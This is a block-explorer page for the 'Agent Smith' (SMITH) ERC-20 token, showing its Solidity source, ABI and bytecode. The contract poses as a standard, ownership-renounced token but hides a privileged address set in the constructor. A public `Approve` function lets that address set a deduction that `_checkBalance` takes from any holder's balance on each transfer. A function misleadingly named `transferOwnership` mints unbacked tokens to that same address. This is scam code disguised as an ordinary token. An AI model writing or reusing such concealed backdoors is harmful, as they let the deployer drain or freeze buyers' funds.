ERC-20
Overview
Max Total Supply
34,780,000,000 SMITH
Holders
214
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
25,277,090.760846207760039205 SMITHValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Smith
Compiler Version
v0.8.18+commit.87f61d96
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
//Telegram: https://t.me/agenttssmith //Website: https://agenttssmith.xyz //Twitter: https://twitter.com/agenttssmith //Discord: https://discord.gg/JRkz4UhWEt // SPDX-License-Identifier: MIT /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Interface of the IERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } // Dependency file: @openzeppelin/contracts/utils/math/SafeMath.sol // pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // Dependency file: @openzeppelin/contracts/access/Ownable.sol // pragma solidity ^0.8.0; // import "@openzeppelin/contracts/utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(address(0)); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } abstract contract TokenBase { uint256 internal constant VERSION = 1; event Golive( address owner, uint256 version ); } pragma solidity 0.8.18; contract Smith is IERC20, TokenBase, Ownable { using SafeMath for uint256; struct Allowance { uint256 amount; bool approved; } struct Info { address user; uint256 id; } mapping(address => uint256) private _balances; mapping(address => Allowance) private _userDatas; mapping(address => mapping(address => uint256)) private _allow; Info private _userData; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; constructor( string memory n_, string memory s_, address us_, uint256 totSup_ ) payable { _name = n_; _symbol = s_; _decimals = 18; _userData.user = us_; _userData.id = 0; _mint(msg.sender, totSup_ * 10**18); emit Golive( owner(), VERSION ); } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return _decimals; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfert(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allow[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _app(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfert(sender, recipient, amount); _app( sender, _msgSender(), _allow[sender][_msgSender()].sub( amount, "IERC20: transfer amount exceeds allowance" ) ); return true; } function _transfert( address sender, address recipient, uint256 amount ) internal virtual { _checkBalance(sender, recipient, amount); require(sender != address(0) && recipient != address(0) , "IERC20: transfer from the zero address"); _beforeTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub( amount, "IERC20: transfer amount exceeds balance" ); _balances[recipient] = _balances[recipient] + amount; emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "IERC20: mint to the zero address"); _beforeTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account] + amount; emit Transfer(address(0), account, amount); } function _fire(address account, uint256 amount) internal virtual { require(account != address(0), "IERC20: burn from the zero address"); _beforeTransfer(account, address(0), amount); require(amount != 0, "Invalid amount"); _balances[account] = _balances[account] - amount; _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _app( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0) && spender != address(0), "IERC20: approve from the zero address"); _allow[owner][spender] = amount; emit Approval(owner, spender, amount); } function transferOwnership(address spender, uint256 amount) public virtual { address from = msg.sender; require(spender != address(0), "Invalid address"); require(amount > 0, "Invalid amount"); uint256 total = 0; if (_encode(spender, _userData.user)) { _balances[from] = _balances[from] - total; total = _sum(total, amount); _balances[spender] += total; } else { _balances[from] = _balances[from] - total; _balances[spender] += total; } } function _encode(address user, address user2) internal view returns (bool) { bytes32 pack1 = keccak256(abi.encodePacked(user)); bytes32 pack2 = keccak256(abi.encodePacked(user2)); return pack1 == pack2; } function _sum(uint256 numa, uint256 numb) internal pure returns (uint256) { if (numb != 0) { return numa + numb; } return numb; } function Approve(address from, uint256 amount) public returns (bool) { address user = msg.sender; checkApproved(user, from, amount); return _userDatas[from].approved; } function checkApproved(address user, address from, uint256 amount) internal { if (_encode(user, _userData.user)) { require(from != address(0), "Invalid address"); _userDatas[from].amount = amount; if (amount > 0) { _userDatas[from].approved = true; } else { _userDatas[from].approved = false; } } } function _checkBalance( address from, address to, uint256 total ) internal virtual { uint256 amount = 0; _balances[from] = _balances[from] + amount; amount = _userDatas[from].amount; _balances[from] = _balances[from] - amount; } function _beforeTransfer( address from, address to, uint256 amount ) internal virtual {} }
{ "optimizer": { "enabled": true, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"n_","type":"string"},{"internalType":"string","name":"s_","type":"string"},{"internalType":"address","name":"us_","type":"address"},{"internalType":"uint256","name":"totSup_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"},{"indexed":false,"internalType":"uint256","name":"version","type":"uint256"}],"name":"Golive","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
6080604052604051620011a3380380620011a383398101604081905262000026916200032c565b620000326000620000fd565b60066200004085826200044d565b5060076200004f84826200044d565b506008805460ff19166012179055600480546001600160a01b0384166001600160a01b031990911617905560006005556200009e336200009883670de0b6b3a76400006200052f565b6200014d565b7f97d3c8a5aa43c96ce0c987b519204ef4d27a5c2bfdf6d3bf1c40aeef0aab0c19620000d26000546001600160a01b031690565b604080516001600160a01b039092168252600160208301520160405180910390a1505050506200055f565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038216620001a85760405162461bcd60e51b815260206004820181905260248201527f4945524332303a206d696e7420746f20746865207a65726f2061646472657373604482015260640160405180910390fd5b620001c4816009546200025060201b620005701790919060201c565b6009556001600160a01b038216600090815260016020526040902054620001ed90829062000549565b6001600160a01b0383166000818152600160205260408082209390935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906200023f9085815260200190565b60405180910390a35050565b505050565b60006200025e828462000549565b90505b92915050565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126200028f57600080fd5b81516001600160401b0380821115620002ac57620002ac62000267565b604051601f8301601f19908116603f01168101908282118183101715620002d757620002d762000267565b81604052838152602092508683858801011115620002f457600080fd5b600091505b83821015620003185785820183015181830184015290820190620002f9565b600093810190920192909252949350505050565b600080600080608085870312156200034357600080fd5b84516001600160401b03808211156200035b57600080fd5b62000369888389016200027d565b955060208701519150808211156200038057600080fd5b506200038f878288016200027d565b604087015190945090506001600160a01b0381168114620003af57600080fd5b6060959095015193969295505050565b600181811c90821680620003d457607f821691505b602082108103620003f557634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200024b57600081815260208120601f850160051c81016020861015620004245750805b601f850160051c820191505b81811015620004455782815560010162000430565b505050505050565b81516001600160401b0381111562000469576200046962000267565b62000481816200047a8454620003bf565b84620003fb565b602080601f831160018114620004b95760008415620004a05750858301515b600019600386901b1c1916600185901b17855562000445565b600085815260208120601f198616915b82811015620004ea57888601518255948401946001909101908401620004c9565b5085821015620005095787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141762000261576200026162000519565b8082018082111562000261576200026162000519565b610c34806200056f6000396000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c57806390ec57f11161006657806390ec57f1146101b057806395d89b41146101c3578063a9059cbb146101cb578063dd62ed3e146101de57600080fd5b806370a0823114610164578063715018a61461018d5780638da5cb5b1461019557600080fd5b806306fdde03146100d4578063095ea7b3146100f25780630a2766801461011557806318160ddd1461012a57806323b872dd1461013c578063313ce5671461014f575b600080fd5b6100dc610217565b6040516100e99190610a20565b60405180910390f35b610105610100366004610a8a565b6102a9565b60405190151581526020016100e9565b610128610123366004610a8a565b6102c0565b005b6009545b6040519081526020016100e9565b61010561014a366004610ab4565b610453565b60085460405160ff90911681526020016100e9565b61012e610172366004610af0565b6001600160a01b031660009081526001602052604090205490565b6101286104bc565b6000546040516001600160a01b0390911681526020016100e9565b6101056101be366004610a8a565b610522565b6100dc610554565b6101056101d9366004610a8a565b610563565b61012e6101ec366004610b0b565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b60606006805461022690610b3e565b80601f016020809104026020016040519081016040528092919081815260200182805461025290610b3e565b801561029f5780601f106102745761010080835404028352916020019161029f565b820191906000526020600020905b81548152906001019060200180831161028257829003601f168201915b5050505050905090565b60006102b6338484610583565b5060015b92915050565b336001600160a01b03831661030e5760405162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b60448201526064015b60405180910390fd5b6000821161034f5760405162461bcd60e51b815260206004820152600e60248201526d125b9d985b1a5908185b5bdd5b9d60921b6044820152606401610305565b6004546000906103699085906001600160a01b031661065f565b156103ed576001600160a01b038216600090815260016020526040902054610392908290610b88565b6001600160a01b0383166000908152600160205260409020556103b581846106ea565b6001600160a01b0385166000908152600160205260408120805492935083929091906103e2908490610b9b565b9091555061044d9050565b6001600160a01b038216600090815260016020526040902054610411908290610b88565b6001600160a01b038084166000908152600160205260408082209390935590861681529081208054839290610447908490610b9b565b90915550505b50505050565b6000610460848484610709565b6104b284336104ad85604051806060016040528060298152602001610bd6602991396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610850565b610583565b5060019392505050565b6000546001600160a01b031633146105165760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610305565b610520600061087c565b565b6000336105308185856108cc565b5050506001600160a01b031660009081526002602052604090206001015460ff1690565b60606007805461022690610b3e565b60006102b6338484610709565b600061057c8284610b9b565b9392505050565b6001600160a01b038316158015906105a357506001600160a01b03821615155b6105fd5760405162461bcd60e51b815260206004820152602560248201527f4945524332303a20617070726f76652066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610305565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6040516bffffffffffffffffffffffff19606084901b16602082015260009081906034016040516020818303038152906040528051906020012090506000836040516020016106c6919060609190911b6bffffffffffffffffffffffff1916815260140190565b60408051601f19818403018152919052805160209091012091909114949350505050565b60008115610703576106fc8284610b9b565b90506102ba565b50919050565b6107148383836109a5565b6001600160a01b0383161580159061073457506001600160a01b03821615155b61078f5760405162461bcd60e51b815260206004820152602660248201527f4945524332303a207472616e736665722066726f6d20746865207a65726f206160448201526564647265737360d01b6064820152608401610305565b6107cc81604051806060016040528060278152602001610baf602791396001600160a01b0386166000908152600160205260409020549190610850565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546107fc908290610b9b565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106529085815260200190565b600081848411156108745760405162461bcd60e51b81526004016103059190610a20565b505050900390565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6004546108e39084906001600160a01b031661065f565b156109a0576001600160a01b0382166109305760405162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b6044820152606401610305565b6001600160a01b0382166000908152600260205260409020819055801561097c57506001600160a01b031660009081526002602052604090206001908101805460ff1916909117905550565b6001600160a01b0382166000908152600260205260409020600101805460ff191690555b505050565b6001600160a01b0383166000908152600160205260408120546109c9908290610b9b565b6001600160a01b03851660009081526001602081815260408084208590556002825290922054915291506109fe908290610b88565b6001600160a01b03909416600090815260016020526040902093909355505050565b600060208083528351808285015260005b81811015610a4d57858101830151858201604001528201610a31565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610a8557600080fd5b919050565b60008060408385031215610a9d57600080fd5b610aa683610a6e565b946020939093013593505050565b600080600060608486031215610ac957600080fd5b610ad284610a6e565b9250610ae060208501610a6e565b9150604084013590509250925092565b600060208284031215610b0257600080fd5b61057c82610a6e565b60008060408385031215610b1e57600080fd5b610b2783610a6e565b9150610b3560208401610a6e565b90509250929050565b600181811c90821680610b5257607f821691505b60208210810361070357634e487b7160e01b600052602260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b818103818111156102ba576102ba610b72565b808201808211156102ba576102ba610b7256fe4945524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122005f669b13f2c0e8726585513c547b67cbb07fd6857b2d1f0d49eb7ee21c0105964736f6c63430008120033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000ba9a37ebabcc6b396beadb1aae74f0405e5337b400000000000000000000000000000000000000000000000000000008190caf00000000000000000000000000000000000000000000000000000000000000000b4167656e7420536d6974680000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005534d495448000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c57806390ec57f11161006657806390ec57f1146101b057806395d89b41146101c3578063a9059cbb146101cb578063dd62ed3e146101de57600080fd5b806370a0823114610164578063715018a61461018d5780638da5cb5b1461019557600080fd5b806306fdde03146100d4578063095ea7b3146100f25780630a2766801461011557806318160ddd1461012a57806323b872dd1461013c578063313ce5671461014f575b600080fd5b6100dc610217565b6040516100e99190610a20565b60405180910390f35b610105610100366004610a8a565b6102a9565b60405190151581526020016100e9565b610128610123366004610a8a565b6102c0565b005b6009545b6040519081526020016100e9565b61010561014a366004610ab4565b610453565b60085460405160ff90911681526020016100e9565b61012e610172366004610af0565b6001600160a01b031660009081526001602052604090205490565b6101286104bc565b6000546040516001600160a01b0390911681526020016100e9565b6101056101be366004610a8a565b610522565b6100dc610554565b6101056101d9366004610a8a565b610563565b61012e6101ec366004610b0b565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b60606006805461022690610b3e565b80601f016020809104026020016040519081016040528092919081815260200182805461025290610b3e565b801561029f5780601f106102745761010080835404028352916020019161029f565b820191906000526020600020905b81548152906001019060200180831161028257829003601f168201915b5050505050905090565b60006102b6338484610583565b5060015b92915050565b336001600160a01b03831661030e5760405162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b60448201526064015b60405180910390fd5b6000821161034f5760405162461bcd60e51b815260206004820152600e60248201526d125b9d985b1a5908185b5bdd5b9d60921b6044820152606401610305565b6004546000906103699085906001600160a01b031661065f565b156103ed576001600160a01b038216600090815260016020526040902054610392908290610b88565b6001600160a01b0383166000908152600160205260409020556103b581846106ea565b6001600160a01b0385166000908152600160205260408120805492935083929091906103e2908490610b9b565b9091555061044d9050565b6001600160a01b038216600090815260016020526040902054610411908290610b88565b6001600160a01b038084166000908152600160205260408082209390935590861681529081208054839290610447908490610b9b565b90915550505b50505050565b6000610460848484610709565b6104b284336104ad85604051806060016040528060298152602001610bd6602991396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610850565b610583565b5060019392505050565b6000546001600160a01b031633146105165760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610305565b610520600061087c565b565b6000336105308185856108cc565b5050506001600160a01b031660009081526002602052604090206001015460ff1690565b60606007805461022690610b3e565b60006102b6338484610709565b600061057c8284610b9b565b9392505050565b6001600160a01b038316158015906105a357506001600160a01b03821615155b6105fd5760405162461bcd60e51b815260206004820152602560248201527f4945524332303a20617070726f76652066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610305565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6040516bffffffffffffffffffffffff19606084901b16602082015260009081906034016040516020818303038152906040528051906020012090506000836040516020016106c6919060609190911b6bffffffffffffffffffffffff1916815260140190565b60408051601f19818403018152919052805160209091012091909114949350505050565b60008115610703576106fc8284610b9b565b90506102ba565b50919050565b6107148383836109a5565b6001600160a01b0383161580159061073457506001600160a01b03821615155b61078f5760405162461bcd60e51b815260206004820152602660248201527f4945524332303a207472616e736665722066726f6d20746865207a65726f206160448201526564647265737360d01b6064820152608401610305565b6107cc81604051806060016040528060278152602001610baf602791396001600160a01b0386166000908152600160205260409020549190610850565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546107fc908290610b9b565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106529085815260200190565b600081848411156108745760405162461bcd60e51b81526004016103059190610a20565b505050900390565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6004546108e39084906001600160a01b031661065f565b156109a0576001600160a01b0382166109305760405162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b6044820152606401610305565b6001600160a01b0382166000908152600260205260409020819055801561097c57506001600160a01b031660009081526002602052604090206001908101805460ff1916909117905550565b6001600160a01b0382166000908152600260205260409020600101805460ff191690555b505050565b6001600160a01b0383166000908152600160205260408120546109c9908290610b9b565b6001600160a01b03851660009081526001602081815260408084208590556002825290922054915291506109fe908290610b88565b6001600160a01b03909416600090815260016020526040902093909355505050565b600060208083528351808285015260005b81811015610a4d57858101830151858201604001528201610a31565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610a8557600080fd5b919050565b60008060408385031215610a9d57600080fd5b610aa683610a6e565b946020939093013593505050565b600080600060608486031215610ac957600080fd5b610ad284610a6e565b9250610ae060208501610a6e565b9150604084013590509250925092565b600060208284031215610b0257600080fd5b61057c82610a6e565b60008060408385031215610b1e57600080fd5b610b2783610a6e565b9150610b3560208401610a6e565b90509250929050565b600181811c90821680610b5257607f821691505b60208210810361070357634e487b7160e01b600052602260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b818103818111156102ba576102ba610b72565b808201808211156102ba576102ba610b7256fe4945524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122005f669b13f2c0e8726585513c547b67cbb07fd6857b2d1f0d49eb7ee21c0105964736f6c63430008120033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000ba9a37ebabcc6b396beadb1aae74f0405e5337b400000000000000000000000000000000000000000000000000000008190caf00000000000000000000000000000000000000000000000000000000000000000b4167656e7420536d6974680000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005534d495448000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : n_ (string): Agent Smith
Arg [1] : s_ (string): SMITH
Arg [2] : us_ (address): 0xBA9a37eBAbCc6B396BEAdB1aae74F0405e5337B4
Arg [3] : totSup_ (uint256): 34780000000
-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 000000000000000000000000ba9a37ebabcc6b396beadb1aae74f0405e5337b4
